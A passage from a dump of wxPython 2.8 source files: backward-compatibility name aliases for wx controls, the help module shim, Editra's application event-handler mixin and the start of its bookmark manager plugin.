= wx._controls.Slider_GetClassDefaultAttributes\nwxToggleButtonNameStr = wx._controls.ToggleButtonNameStr\nwxEVT_COMMAND_TOGGLEBUTTON_CLICKED = wx._controls.wxEVT_COMMAND_TOGGLEBUTTON_CLICKED\nwxToggleButton = wx._controls.ToggleButton\nwxPreToggleButton = wx._controls.PreToggleButton\nwxToggleButton_GetClassDefaultAttributes = wx._controls.ToggleButton_GetClassDefaultAttributes\nwxNotebookNameStr = wx._controls.NotebookNameStr\nwxBK_DEFAULT = wx._controls.BK_DEFAULT\nwxBK_TOP = wx._controls.BK_TOP\nwxBK_BOTTOM = wx._controls.BK_BOTTOM\nwxBK_LEFT = wx._controls.BK_LEFT\nwxBK_RIGHT = wx._controls.BK_RIGHT\nwxBK_ALIGN_MASK = wx._controls.BK_ALIGN_MASK\nwxBK_BUTTONBAR = wx._controls.BK_BUTTONBAR\nwxBookCtrlBase = wx._controls.BookCtrlBase\nwxBookCtrlBase_GetClassDefaultAttributes = wx._controls.BookCtrlBase_GetClassDefaultAttributes\nwxBookCtrlBaseEvent = wx._controls.BookCtrlBaseEvent\nwxNB_FIXEDWIDTH = wx._controls.NB_FIXEDWIDTH\nwxNB_TOP = wx._controls.NB_TOP\nwxNB_LEFT = wx._controls.NB_LEFT\nwxNB_RIGHT = wx._controls.NB_RIGHT\nwxNB_BOTTOM = wx._controls.NB_BOTTOM\nwxNB_MULTILINE = wx._controls.NB_MULTILINE\nwxNB_NOPAGETHEME = wx._controls.NB_NOPAGETHEME\nwxNB_HITTEST_NOWHERE = wx._controls.NB_HITTEST_NOWHERE\nwxNB_HITTEST_ONICON = wx._controls.NB_HITTEST_ONICON\nwxNB_HITTEST_ONLABEL = wx._controls.NB_HITTEST_ONLABEL\nwxNB_HITTEST_ONITEM = wx._controls.NB_HITTEST_ONITEM\nwxNotebook = wx._controls.Notebook\nwxPreNotebook = wx._controls.PreNotebook\nwxNotebook_GetClassDefaultAttributes = wx._controls.Notebook_GetClassDefaultAttributes\nwxNotebookEvent = wx._controls.NotebookEvent\nwxEVT_COMMAND_NOTEBOOK_PAGE_CHANGED = wx._controls.wxEVT_COMMAND_NOTEBOOK_PAGE_CHANGED\nwxEVT_COMMAND_NOTEBOOK_PAGE_CHANGING = wx._controls.wxEVT_COMMAND_NOTEBOOK_PAGE_CHANGING\nwxLB_DEFAULT = wx._controls.LB_DEFAULT\nwxLB_TOP = wx._controls.LB_TOP\nwxLB_BOTTOM = wx._controls.LB_BOTTOM\nwxLB_LEFT = wx._controls.LB_LEFT\nwxLB_RIGHT = wx._controls.LB_RIGHT\nwxLB_ALIGN_MASK = wx._controls.LB_ALIGN_MASK\nwxListbook = wx._controls.Listbook\nwxPreListbook = wx._controls.PreListbook\nwxListbookEvent = wx._controls.ListbookEvent\nwxEVT_COMMAND_LISTBOOK_PAGE_CHANGED = wx._controls.wxEVT_COMMAND_LISTBOOK_PAGE_CHANGED\nwxEVT_COMMAND_LISTBOOK_PAGE_CHANGING = wx._controls.wxEVT_COMMAND_LISTBOOK_PAGE_CHANGING\nwxCHB_DEFAULT = wx._controls.CHB_DEFAULT\nwxCHB_TOP = wx._controls.CHB_TOP\nwxCHB_BOTTOM = wx._controls.CHB_BOTTOM\nwxCHB_LEFT = wx._controls.CHB_LEFT\nwxCHB_RIGHT = wx._controls.CHB_RIGHT\nwxCHB_ALIGN_MASK = wx._controls.CHB_ALIGN_MASK\nwxChoicebook = wx._controls.Choicebook\nwxPreChoicebook = wx._controls.PreChoicebook\nwxChoicebookEvent = wx._controls.ChoicebookEvent\nwxEVT_COMMAND_CHOICEBOOK_PAGE_CHANGED = wx._controls.wxEVT_COMMAND_CHOICEBOOK_PAGE_CHANGED\nwxEVT_COMMAND_CHOICEBOOK_PAGE_CHANGING = wx._controls.wxEVT_COMMAND_CHOICEBOOK_PAGE_CHANGING\nwxTreebook = wx._controls.Treebook\nwxPreTreebook = wx._controls.PreTreebook\nwxTreebookEvent = wx._controls.TreebookEvent\nwxEVT_COMMAND_TREEBOOK_PAGE_CHANGED = wx._controls.wxEVT_COMMAND_TREEBOOK_PAGE_CHANGED\nwxEVT_COMMAND_TREEBOOK_PAGE_CHANGING = wx._controls.wxEVT_COMMAND_TREEBOOK_PAGE_CHANGING\nwxEVT_COMMAND_TREEBOOK_NODE_COLLAPSED = wx._controls.wxEVT_COMMAND_TREEBOOK_NODE_COLLAPSED\nwxEVT_COMMAND_TREEBOOK_NODE_EXPANDED = wx._controls.wxEVT_COMMAND_TREEBOOK_NODE_EXPANDED\nwxToolbook = wx._controls.Toolbook\nwxPreToolbook = wx._controls.PreToolbook\nwxToolbookEvent = wx._controls.ToolbookEvent\nwxEVT_COMMAND_TOOLBOOK_PAGE_CHANGED = wx._controls.wxEVT_COMMAND_TOOLBOOK_PAGE_CHANGED\nwxEVT_COMMAND_TOOLBOOK_PAGE_CHANGING = wx._controls.wxEVT_COMMAND_TOOLBOOK_PAGE_CHANGING\nwxTOOL_STYLE_BUTTON = wx._controls.TOOL_STYLE_BUTTON\nwxTOOL_STYLE_SEPARATOR = wx._controls.TOOL_STYLE_SEPARATOR\nwxTOOL_STYLE_CONTROL = wx._controls.TOOL_STYLE_CONTROL\nwxTB_HORIZONTAL = wx._controls.TB_HORIZONTAL\nwxTB_VERTICAL = wx._controls.TB_VERTICAL\nwxTB_3DBUTTONS = wx._controls.TB_3DBUTTONS\nwxTB_FLAT = wx._controls.TB_FLAT\nwxTB_DOCKABLE = wx._controls.TB_DOCKABLE\nwxTB_NOICONS = wx._controls.TB_NOICONS\nwxTB_TEXT = wx._controls.TB_TEXT\nwxTB_NODIVIDER = wx._controls.TB_NODIVIDER\nwxTB_NOALIGN = wx._controls.TB_NOALIGN\nwxTB_HORZ_LAYOUT = wx._controls.TB_HORZ_LAYOUT\nwxTB_HORZ_TEXT = wx._controls.TB_HORZ_TEXT\nwxToolBarToolBase = wx._controls.ToolBarToolBase\nwxToolBarBase = wx._controls.ToolBarBase\nwxToolBar = wx._controls.ToolBar\nwxPreToolBar = wx._controls.PreToolBar\nwxToolBar_GetClassDefaultAttributes = wx._controls.ToolBar_GetClassDefaultAttributes\nwxListCtrlNameStr = wx._controls.ListCtrlNameStr\nwxLC_VRULES = wx._controls.LC_VRULES\nwxLC_HRULES = wx._controls.LC_HRULES\nwxLC_ICON = wx._controls.LC_ICON\nwxLC_SMALL_ICON = wx._controls.LC_SMALL_ICON\nwxLC_LIST = wx._controls.LC_LIST\nwxLC_REPORT = wx._controls.LC_REPORT\nwxLC_ALIGN_TOP = wx._controls.LC_ALIGN_TOP\nwxLC_ALIGN_LEFT = wx._controls.LC_ALIGN_LEFT\nwxLC_AUTOARRANGE = wx._controls.LC_AUTOARRANGE\nwxLC_VIRTUAL = wx._controls.LC_VIRTUAL\nwxLC_EDIT_LABELS = wx._controls.LC_EDIT_LABELS\nwxLC_NO_HEADER = wx._controls.LC_NO_HEADER\nwxLC_NO_SORT_HEADER = wx._controls.LC_NO_SORT_HEADER\nwxLC_SINGLE_SEL = wx._controls.LC_SINGLE_SEL\nwxLC_SORT_ASCENDING = wx._controls.LC_SORT_ASCENDING\nwxLC_SORT_DESCENDING = wx._controls.LC_SORT_DESCENDING\nwxLC_MASK_TYPE = wx._controls.LC_MASK_TYPE\nwxLC_MASK_ALIGN = wx._controls.LC_MASK_ALIGN\nwxLC_MASK_SORT = wx._controls.LC_MASK_SORT\nwxLIST_MASK_STATE = wx._controls.LIST_MASK_STATE\nwxLIST_MASK_TEXT = wx._controls.LIST_MASK_TEXT\nwxLIST_MASK_IMAGE = wx._controls.LIST_MASK_IMAGE\nwxLIST_MASK_DATA = wx._controls.LIST_MASK_DATA\nwxLIST_SET_ITEM = wx._controls.LIST_SET_ITEM\nwxLIST_MASK_WIDTH = wx._controls.LIST_MASK_WIDTH\nwxLIST_MASK_FORMAT = wx._controls.LIST_MASK_FORMAT\nwxLIST_STATE_DONTCARE = wx._controls.LIST_STATE_DONTCARE\nwxLIST_STATE_DROPHILITED = wx._controls.LIST_STATE_DROPHILITED\nwxLIST_STATE_FOCUSED = wx._controls.LIST_STATE_FOCUSED\nwxLIST_STATE_SELECTED = wx._controls.LIST_STATE_SELECTED\nwxLIST_STATE_CUT = wx._controls.LIST_STATE_CUT\nwxLIST_STATE_DISABLED = wx._controls.LIST_STATE_DISABLED\nwxLIST_STATE_FILTERED = wx._controls.LIST_STATE_FILTERED\nwxLIST_STATE_INUSE = wx._controls.LIST_STATE_INUSE\nwxLIST_STATE_PICKED = wx._controls.LIST_STATE_PICKED\nwxLIST_STATE_SOURCE = wx._controls.LIST_STATE_SOURCE\nwxLIST_HITTEST_ABOVE = wx._controls.LIST_HITTEST_ABOVE\nwxLIST_HITTEST_BELOW = wx._controls.LIST_HITTEST_BELOW\nwxLIST_HITTEST_NOWHERE = wx._controls.LIST_HITTEST_NOWHERE\nwxLIST_HITTEST_ONITEMICON = wx._controls.LIST_HITTEST_ONITEMICON\nwxLIST_HITTEST_ONITEMLABEL = wx._controls.LIST_HITTEST_ONITEMLABEL\nwxLIST_HITTEST_ONITEMRIGHT = wx._controls.LIST_HITTEST_ONITEMRIGHT\nwxLIST_HITTEST_ONITEMSTATEICON = wx._controls.LIST_HITTEST_ONITEMSTATEICON\nwxLIST_HITTEST_TOLEFT = wx._controls.LIST_HITTEST_TOLEFT\nwxLIST_HITTEST_TORIGHT = wx._controls.LIST_HITTEST_TORIGHT\nwxLIST_HITTEST_ONITEM = wx._controls.LIST_HITTEST_ONITEM\nwxLIST_NEXT_ABOVE = wx._controls.LIST_NEXT_ABOVE\nwxLIST_NEXT_ALL = wx._controls.LIST_NEXT_ALL\nwxLIST_NEXT_BELOW = wx._controls.LIST_NEXT_BELOW\nwxLIST_NEXT_LEFT = wx._controls.LIST_NEXT_LEFT\nwxLIST_NEXT_RIGHT = wx._controls.LIST_NEXT_RIGHT\nwxLIST_ALIGN_DEFAULT = wx._controls.LIST_ALIGN_DEFAULT\nwxLIST_ALIGN_LEFT = wx._controls.LIST_ALIGN_LEFT\nwxLIST_ALIGN_TOP = wx._controls.LIST_ALIGN_TOP\nwxLIST_ALIGN_SNAP_TO_GRID = wx._controls.LIST_ALIGN_SNAP_TO_GRID\nwxLIST_FORMAT_LEFT = wx._controls.LIST_FORMAT_LEFT\nwxLIST_FORMAT_RIGHT = wx._controls.LIST_FORMAT_RIGHT\nwxLIST_FORMAT_CENTRE = wx._controls.LIST_FORMAT_CENTRE\nwxLIST_FORMAT_CENTER = wx._controls.LIST_FORMAT_CENTER\nwxLIST_AUTOSIZE = wx._controls.LIST_AUTOSIZE\nwxLIST_AUTOSIZE_USEHEADER = wx._controls.LIST_AUTOSIZE_USEHEADER\nwxLIST_RECT_BOUNDS = wx._controls.LIST_RECT_BOUNDS\nwxLIST_RECT_ICON = wx._controls.LIST_RECT_ICON\nwxLIST_RECT_LABEL = wx._controls.LIST_RECT_LABEL\nwxLIST_FIND_UP = wx._controls.LIST_FIND_UP\nwxLIST_FIND_DOWN = wx._controls.LIST_FIND_DOWN\nwxLIST_FIND_LEFT = wx._controls.LIST_FIND_LEFT\nwxLIST_FIND_RIGHT = wx._controls.LIST_FIND_RIGHT\nwxListItemAttr = wx._controls.ListItemAttr\nwxListItem = wx._controls.ListItem\nwxListEvent = wx._controls.ListEvent\nwxEVT_COMMAND_LIST_BEGIN_DRAG = wx._controls.wxEVT_COMMAND_LIST_BEGIN_DRAG\nwxEVT_COMMAND_LIST_BEGIN_RDRAG = wx._controls.wxEVT_COMMAND_LIST_BEGIN_RDRAG\nwxEVT_COMMAND_LIST_BEGIN_LABEL_EDIT = wx._controls.wxEVT_COMMAND_LIST_BEGIN_LABEL_EDIT\nwxEVT_COMMAND_LIST_END_LABEL_EDIT = wx._controls.wxEVT_COMMAND_LIST_END_LABEL_EDIT\nwxEVT_COMMAND_LIST_DELETE_ITEM = wx._controls.wxEVT_COMMAND_LIST_DELETE_ITEM\nwxEVT_COMMAND_LIST_DELETE_ALL_ITEMS = wx._controls.wxEVT_COMMAND_LIST_DELETE_ALL_ITEMS\nwxEVT_COMMAND_LIST_ITEM_SELECTED = wx._controls.wxEVT_COMMAND_LIST_ITEM_SELECTED\nwxEVT_COMMAND_LIST_ITEM_DESELECTED = wx._controls.wxEVT_COMMAND_LIST_ITEM_DESELECTED\nwxEVT_COMMAND_LIST_KEY_DOWN = wx._controls.wxEVT_COMMAND_LIST_KEY_DOWN\nwxEVT_COMMAND_LIST_INSERT_ITEM = wx._controls.wxEVT_COMMAND_LIST_INSERT_ITEM\nwxEVT_COMMAND_LIST_COL_CLICK = wx._controls.wxEVT_COMMAND_LIST_COL_CLICK\nwxEVT_COMMAND_LIST_ITEM_RIGHT_CLICK = wx._controls.wxEVT_COMMAND_LIST_ITEM_RIGHT_CLICK\nwxEVT_COMMAND_LIST_ITEM_MIDDLE_CLICK = wx._controls.wxEVT_COMMAND_LIST_ITEM_MIDDLE_CLICK\nwxEVT_COMMAND_LIST_ITEM_ACTIVATED = wx._controls.wxEVT_COMMAND_LIST_ITEM_ACTIVATED\nwxEVT_COMMAND_LIST_CACHE_HINT = wx._controls.wxEVT_COMMAND_LIST_CACHE_HINT\nwxEVT_COMMAND_LIST_COL_RIGHT_CLICK = wx._controls.wxEVT_COMMAND_LIST_COL_RIGHT_CLICK\nwxEVT_COMMAND_LIST_COL_BEGIN_DRAG = wx._controls.wxEVT_COMMAND_LIST_COL_BEGIN_DRAG\nwxEVT_COMMAND_LIST_COL_DRAGGING = wx._controls.wxEVT_COMMAND_LIST_COL_DRAGGING\nwxEVT_COMMAND_LIST_COL_END_DRAG = wx._controls.wxEVT_COMMAND_LIST_COL_END_DRAG\nwxEVT_COMMAND_LIST_ITEM_FOCUSED = wx._controls.wxEVT_COMMAND_LIST_ITEM_FOCUSED\nwxListCtrl = wx._controls.ListCtrl\nwxListCtrl = wx._controls.ListCtrl\nwxPreListCtrl = wx._controls.PreListCtrl\nwxListCtrl_GetClassDefaultAttributes = wx._controls.ListCtrl_GetClassDefaultAttributes\nwxListView = wx._controls.ListView\nwxPreListView = wx._controls.PreListView\nwxTreeCtrlNameStr = wx._controls.TreeCtrlNameStr\nwxTR_NO_BUTTONS = wx._controls.TR_NO_BUTTONS\nwxTR_HAS_BUTTONS = wx._controls.TR_HAS_BUTTONS\nwxTR_NO_LINES = wx._controls.TR_NO_LINES\nwxTR_LINES_AT_ROOT = wx._controls.TR_LINES_AT_ROOT\nwxTR_SINGLE = wx._controls.TR_SINGLE\nwxTR_MULTIPLE = wx._controls.TR_MULTIPLE\nwxTR_EXTENDED = wx._controls.TR_EXTENDED\nwxTR_HAS_VARIABLE_ROW_HEIGHT = wx._controls.TR_HAS_VARIABLE_ROW_HEIGHT\nwxTR_EDIT_LABELS = wx._controls.TR_EDIT_LABELS\nwxTR_HIDE_ROOT = wx._controls.TR_HIDE_ROOT\nwxTR_ROW_LINES = wx._controls.TR_ROW_LINES\nwxTR_FULL_ROW_HIGHLIGHT = wx._controls.TR_FULL_ROW_HIGHLIGHT\nwxTR_DEFAULT_STYLE = wx._controls.TR_DEFAULT_STYLE\nwxTR_TWIST_BUTTONS = wx._controls.TR_TWIST_BUTTONS\nwxTreeItemIcon_Normal = wx._controls.TreeItemIcon_Normal\nwxTreeItemIcon_Selected = wx._controls.TreeItemIcon_Selected\nwxTreeItemIcon_Expanded = wx._controls.TreeItemIcon_Expanded\nwxTreeItemIcon_SelectedExpanded = wx._controls.TreeItemIcon_SelectedExpanded\nwxTreeItemIcon_Max = wx._controls.TreeItemIcon_Max\nwxTREE_HITTEST_ABOVE = wx._controls.TREE_HITTEST_ABOVE\nwxTREE_HITTEST_BELOW = wx._controls.TREE_HITTEST_BELOW\nwxTREE_HITTEST_NOWHERE = wx._controls.TREE_HITTEST_NOWHERE\nwxTREE_HITTEST_ONITEMBUTTON = wx._controls.TREE_HITTEST_ONITEMBUTTON\nwxTREE_HITTEST_ONITEMICON = wx._controls.TREE_HITTEST_ONITEMICON\nwxTREE_HITTEST_ONITEMINDENT = wx._controls.TREE_HITTEST_ONITEMINDENT\nwxTREE_HITTEST_ONITEMLABEL = wx._controls.TREE_HITTEST_ONITEMLABEL\nwxTREE_HITTEST_ONITEMRIGHT = wx._controls.TREE_HITTEST_ONITEMRIGHT\nwxTREE_HITTEST_ONITEMSTATEICON = wx._controls.TREE_HITTEST_ONITEMSTATEICON\nwxTREE_HITTEST_TOLEFT = wx._controls.TREE_HITTEST_TOLEFT\nwxTREE_HITTEST_TORIGHT = wx._controls.TREE_HITTEST_TORIGHT\nwxTREE_HITTEST_ONITEMUPPERPART = wx._controls.TREE_HITTEST_ONITEMUPPERPART\nwxTREE_HITTEST_ONITEMLOWERPART = wx._controls.TREE_HITTEST_ONITEMLOWERPART\nwxTREE_HITTEST_ONITEM = wx._controls.TREE_HITTEST_ONITEM\nwxTreeItemId = wx._controls.TreeItemId\nwxTreeItemData = wx._controls.TreeItemData\nwxTreeItemData = wx._controls.TreeItemData\nwxEVT_COMMAND_TREE_BEGIN_DRAG = wx._controls.wxEVT_COMMAND_TREE_BEGIN_DRAG\nwxEVT_COMMAND_TREE_BEGIN_RDRAG = wx._controls.wxEVT_COMMAND_TREE_BEGIN_RDRAG\nwxEVT_COMMAND_TREE_BEGIN_LABEL_EDIT = wx._controls.wxEVT_COMMAND_TREE_BEGIN_LABEL_EDIT\nwxEVT_COMMAND_TREE_END_LABEL_EDIT = wx._controls.wxEVT_COMMAND_TREE_END_LABEL_EDIT\nwxEVT_COMMAND_TREE_DELETE_ITEM = wx._controls.wxEVT_COMMAND_TREE_DELETE_ITEM\nwxEVT_COMMAND_TREE_GET_INFO = wx._controls.wxEVT_COMMAND_TREE_GET_INFO\nwxEVT_COMMAND_TREE_SET_INFO = wx._controls.wxEVT_COMMAND_TREE_SET_INFO\nwxEVT_COMMAND_TREE_ITEM_EXPANDED = wx._controls.wxEVT_COMMAND_TREE_ITEM_EXPANDED\nwxEVT_COMMAND_TREE_ITEM_EXPANDING = wx._controls.wxEVT_COMMAND_TREE_ITEM_EXPANDING\nwxEVT_COMMAND_TREE_ITEM_COLLAPSED = wx._controls.wxEVT_COMMAND_TREE_ITEM_COLLAPSED\nwxEVT_COMMAND_TREE_ITEM_COLLAPSING = wx._controls.wxEVT_COMMAND_TREE_ITEM_COLLAPSING\nwxEVT_COMMAND_TREE_SEL_CHANGED = wx._controls.wxEVT_COMMAND_TREE_SEL_CHANGED\nwxEVT_COMMAND_TREE_SEL_CHANGING = wx._controls.wxEVT_COMMAND_TREE_SEL_CHANGING\nwxEVT_COMMAND_TREE_KEY_DOWN = wx._controls.wxEVT_COMMAND_TREE_KEY_DOWN\nwxEVT_COMMAND_TREE_ITEM_ACTIVATED = wx._controls.wxEVT_COMMAND_TREE_ITEM_ACTIVATED\nwxEVT_COMMAND_TREE_ITEM_RIGHT_CLICK = wx._controls.wxEVT_COMMAND_TREE_ITEM_RIGHT_CLICK\nwxEVT_COMMAND_TREE_ITEM_MIDDLE_CLICK = wx._controls.wxEVT_COMMAND_TREE_ITEM_MIDDLE_CLICK\nwxEVT_COMMAND_TREE_END_DRAG = wx._controls.wxEVT_COMMAND_TREE_END_DRAG\nwxEVT_COMMAND_TREE_STATE_IMAGE_CLICK = wx._controls.wxEVT_COMMAND_TREE_STATE_IMAGE_CLICK\nwxEVT_COMMAND_TREE_ITEM_GETTOOLTIP = wx._controls.wxEVT_COMMAND_TREE_ITEM_GETTOOLTIP\nwxEVT_COMMAND_TREE_ITEM_MENU = wx._controls.wxEVT_COMMAND_TREE_ITEM_MENU\nwxTreeEvent = wx._controls.TreeEvent\nwxTreeCtrl = wx._controls.TreeCtrl\nwxTreeCtrl = wx._controls.TreeCtrl\nwxPreTreeCtrl = wx._controls.PreTreeCtrl\nwxTreeCtrl_GetClassDefaultAttributes = wx._controls.TreeCtrl_GetClassDefaultAttributes\nwxDirDialogDefaultFolderStr = wx._controls.DirDialogDefaultFolderStr\nwxDIRCTRL_DIR_ONLY = wx._controls.DIRCTRL_DIR_ONLY\nwxDIRCTRL_SELECT_FIRST = wx._controls.DIRCTRL_SELECT_FIRST\nwxDIRCTRL_SHOW_FILTERS = wx._controls.DIRCTRL_SHOW_FILTERS\nwxDIRCTRL_3D_INTERNAL = wx._controls.DIRCTRL_3D_INTERNAL\nwxDIRCTRL_EDIT_LABELS = wx._controls.DIRCTRL_EDIT_LABELS\nwxGenericDirCtrl = wx._controls.GenericDirCtrl\nwxPreGenericDirCtrl = wx._controls.PreGenericDirCtrl\nwxDirFilterListCtrl = wx._controls.DirFilterListCtrl\nwxPreDirFilterListCtrl = wx._controls.PreDirFilterListCtrl\nwxPyControl = wx._controls.PyControl\nwxPrePyControl = wx._controls.PrePyControl\nwxEVT_HELP = wx._controls.wxEVT_HELP\nwxEVT_DETAILED_HELP = wx._controls.wxEVT_DETAILED_HELP\nwxHelpEvent = wx._controls.HelpEvent\nwxContextHelp = wx._controls.ContextHelp\nwxContextHelpButton = wx._controls.ContextHelpButton\nwxHelpProvider = wx._controls.HelpProvider\nwxHelpProvider_Set = wx._controls.HelpProvider_Set\nwxHelpProvider_Get = wx._controls.HelpProvider_Get\nwxSimpleHelpProvider = wx._controls.SimpleHelpProvider\nwxDragImage = wx._controls.DragImage\nwxDragImage = wx._controls.DragImage\nwxDragIcon = wx._controls.DragIcon\nwxDragString = wx._controls.DragString\nwxDragTreeItem = wx._controls.DragTreeItem\nwxDragListItem = wx._controls.DragListItem\nwxDatePickerCtrlNameStr = wx._controls.DatePickerCtrlNameStr\nwxDP_DEFAULT = wx._controls.DP_DEFAULT\nwxDP_SPIN = wx._controls.DP_SPIN\nwxDP_DROPDOWN = wx._controls.DP_DROPDOWN\nwxDP_SHOWCENTURY = wx._controls.DP_SHOWCENTURY\nwxDP_ALLOWNONE = wx._controls.DP_ALLOWNONE\nwxDatePickerCtrl = wx._controls.DatePickerCtrl\nwxPreDatePickerCtrl = wx._controls.PreDatePickerCtrl\n\n\nd = globals()\nfor k, v in wx._controls.__dict__.iteritems():\n if k.startswith('EVT'):\n d[k] = v\ndel d, k, v\n\n\n\n", "id": "12512671", "language": "Python", "matching_score": 5.320494174957275, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wxPython/_controls.py" }, { "content": "# The contents of the old wxPython.help module have been moved into\n# the wx.core module in the new scheme. This module will help with\n# backwards compatibility by making those symbols visible in\n# wxPython.help again.\n\n\nimport wxPython.wx\n\nEVT_HELP = wxPython.wx.EVT_HELP\nEVT_HELP_RANGE = wxPython.wx.EVT_HELP_RANGE\nEVT_DETAILED_HELP = wxPython.wx.EVT_DETAILED_HELP\nEVT_DETAILED_HELP_RANGE = wxPython.wx.EVT_DETAILED_HELP_RANGE\nwxHelpEvent = wxPython.wx.wxHelpEvent\nwxContextHelp = wxPython.wx.wxContextHelp\nwxContextHelpButton = wxPython.wx.wxContextHelpButton\nwxHelpProvider = wxPython.wx.wxHelpProvider\nwxSimpleHelpProvider = wxPython.wx.wxSimpleHelpProvider\nwxHelpProvider_Set = wxPython.wx.wxHelpProvider_Set\nwxHelpProvider_Get = wxPython.wx.wxHelpProvider_Get\nwxFRAME_EX_CONTEXTHELP = wxPython.wx.wxFRAME_EX_CONTEXTHELP\nwxDIALOG_EX_CONTEXTHELP = wxPython.wx.wxDIALOG_EX_CONTEXTHELP\nwxID_CONTEXT_HELP = wxPython.wx.wxID_CONTEXT_HELP\nwxEVT_HELP = wxPython.wx.wxEVT_HELP\nwxEVT_DETAILED_HELP = wxPython.wx.wxEVT_DETAILED_HELP\n", "id": "10736838", "language": "Python", "matching_score": 0.7508411407470703, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wxPython/help.py" }, { "content": "#----------------------------------------------------------------------\n# Name: wxblox/events.py\n# Purpose: These mixins implement a push and pop menu/UI update event \n# handler system at the wx.App level. This is useful for resolving\n# cases where multiple views may want to respond to an event \n# (say, wx.ID_COPY) and where you also want a \"default\" handler \n# for the event (and UI update status) when there is no active\n# view which wishes to handle the event.\n#\n# Author: <NAME>\n#\n# Created: -Mar-\n# Copyright: (c) <NAME>\n# Licence: wxWindows license\n#----------------------------------------------------------------------\n\nimport sys, os\nimport wx\n\nclass AppEventManager:\n ui_events = [\n wx.ID_NEW, wx.ID_OPEN, wx.ID_CLOSE_ALL, wx.ID_CLOSE,\n wx.ID_REVERT, wx.ID_SAVE, wx.ID_SAVEAS, wx.ID_UNDO,\n wx.ID_REDO, wx.ID_PRINT, wx.ID_PRINT_SETUP, wx.ID_PREVIEW,\n wx.ID_EXIT\n ]\n\n def __init__(self):\n pass\n\n def RegisterEvents(self):\n app = wx.GetApp()\n #app.AddHandlerForID(wx.ID_EXIT, self.OnExit)\n #app.AddHandlerForID(wx.ID_ABOUT, self.OnAbout)\n\n for eventID in self.ui_events:\n app.AddHandlerForID(eventID, self.ProcessEvent)\n app.AddUIHandlerForID(eventID, self.ProcessUpdateUIEvent)\n\nclass AppEventHandlerMixin:\n \"\"\"\n The purpose of the AppEventHandlerMixin is to provide a centralized\n location to manage menu and toolbar events. In an IDE which may have\n any number of file editors and services open that may want to respond\n to certain menu and toolbar events (e.g. copy, paste, select all),\n we need this to efficiently make sure that the right handler is handling\n the event.\n\n To work with this system, views must call \n Add(UI)HandlerForID(ID, handlerFunc)\n in their EVT_SET_FOCUS handler, and call Remove(UI)HandlerForID(ID) in their\n EVT_KILL_FOCUS handler.\n \"\"\"\n\n def __init__(self):\n self.handlers = {}\n self.uihandlers = {}\n\n # When a view changes the handler, move the old one here.\n # Then \"pop\" the handler when the view loses the focus\n self.pushed_handlers = {}\n self.pushed_uihandlers = {}\n\n def AddHandlerForIDs(self, eventID_list, handlerFunc):\n for eventID in eventID_list:\n self.AddHandlerForID(eventID, handlerFunc)\n\n def AddHandlerForID(self, eventID, handlerFunc):\n self.Bind(wx.EVT_MENU, self.HandleEvent, id=eventID)\n\n if eventID in self.handlers:\n self.pushed_handlers[eventID] = self.handlers[eventID]\n\n self.handlers[eventID] = handlerFunc\n\n def AddUIHandlerForID(self, eventID, handlerFunc):\n self.Bind(wx.EVT_UPDATE_UI, self.HandleUpdateUIEvent, id=eventID)\n\n if eventID in self.uihandlers:\n self.pushed_uihandlers[eventID] = self.uihandlers[eventID]\n\n self.uihandlers[eventID] = handlerFunc\n\n def RemoveHandlerForIDs(self, eventID_list):\n for eventID in eventID_list:\n self.RemoveHandlerForID(eventID)\n\n def RemoveHandlerForID(self, eventID):\n self.Unbind(wx.EVT_MENU, id=eventID)\n self.handlers[eventID] = None\n\n if eventID in self.pushed_handlers:\n self.handlers[eventID] = self.pushed_handlers[eventID]\n\n def RemoveUIHandlerForID(self, eventID):\n self.Unbind(wx.EVT_UPDATE_UI, id=eventID)\n self.uihandlers[eventID] = None\n\n if eventID in self.pushed_uihandlers:\n self.uihandlers[eventID] = self.pushed_uihandlers[eventID]\n\n def HandleEvent(self, event):\n e_id = event.GetId()\n if e_id in self.handlers:\n handler = self.handlers[e_id]\n try:\n if handler:\n return handler(event)\n except wx.PyDeadObjectError:\n self.RemoveHandlerForID(e_id)\n else:\n event.Skip()\n\n return False\n\n def HandleUpdateUIEvent(self, event):\n e_id = event.GetId()\n if e_id in self.uihandlers:\n handler = self.uihandlers[e_id]\n try:\n if handler:\n return handler(event)\n except wx.PyDeadObjectError:\n self.RemoveUIHandlerForID(e_id)\n else:\n event.Skip()\n\n return False\n", "id": "8512250", "language": "Python", "matching_score": 0.8172652721405029, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/tools/Editra/src/extern/events.py" }, { "content": "###############################################################################\n# Name: Cody Precord #\n# Purpose: #\n# Author: <NAME> <<EMAIL>> #\n# Copyright: (c) 2010 <NAME> <<EMAIL>> #\n# License: wxWindows License #\n###############################################################################\n\n\"\"\"\nBookmark manager\n\n\"\"\"\n\n__author__ = \"<NAME> <<EMAIL>>\"\n__svnid__ = \"$Id: ed_bookmark.py 67489 2011-04-14 15:39:14Z CJP $\"\n__revision__ = \"$Revision: 67489 $\"\n\n#--------------------------------------------------------------------------#\n# Imports\nimport os\nimport re\nimport wx\n\n# Editra Libraries\nimport ed_msg\nimport iface\nimport plugin\nfrom profiler import Profile_Get, Profile_Set\nimport ed_glob\nimport util\nimport eclib\nimport ebmlib\nimport ed_basewin\nfrom ed_marker import Bookmark\n\n#-----------------------------------------------------------------------------#\n# Globals\n_ = wx.GetTranslation\n\n#-----------------------------------------------------------------------------#\n\n# Interface Implementation\nclass EdBookmarks(plugin.Plugin):\n \"\"\"Shelf interface implementation for the bookmark manager\"\"\"\n plugin.Implements(iface.ShelfI)\n\n __name__ = u'Bookmarks'\n\n @staticmethod\n def AllowMultiple():\n \"\"\"EdBookmark only allows one instance\"\"\"\n return False\n\n @staticmethod\n def CreateItem(parent):\n \"\"\"Returns a bookmark panel\"\"\"\n return BookmarkWindow(parent)\n\n def GetBitmap(self):\n \"\"\"Get the log viewers tab icon\n @return: wx.Bitmap\n\n \"\"\"\n bmp = wx.ArtProvider.GetBitmap(str(ed_glob.ID_ADD_BM), wx.ART_MENU)\n return bmp\n\n @staticmethod\n def GetId():\n \"\"\"Plugin menu identifier ID\"\"\"\n return ed_glob.ID_BOOKMARK_MGR\n\n @staticmethod\n def GetMenuEntry(menu):\n \"\"\"Get the menu entry for the bookmark viewer\n @param menu: the menu items parent menu\n\n \"\"\"\n item = wx.MenuItem(menu, ed_glob.ID_BOOKMARK_MGR,\n _(\"Bookmarks\"),\n _(\"View all bookmarks\"))\n bmp = wx.ArtProvider.GetBitmap(str(ed_glob.ID_ADD_BM), wx.ART_MENU)\n 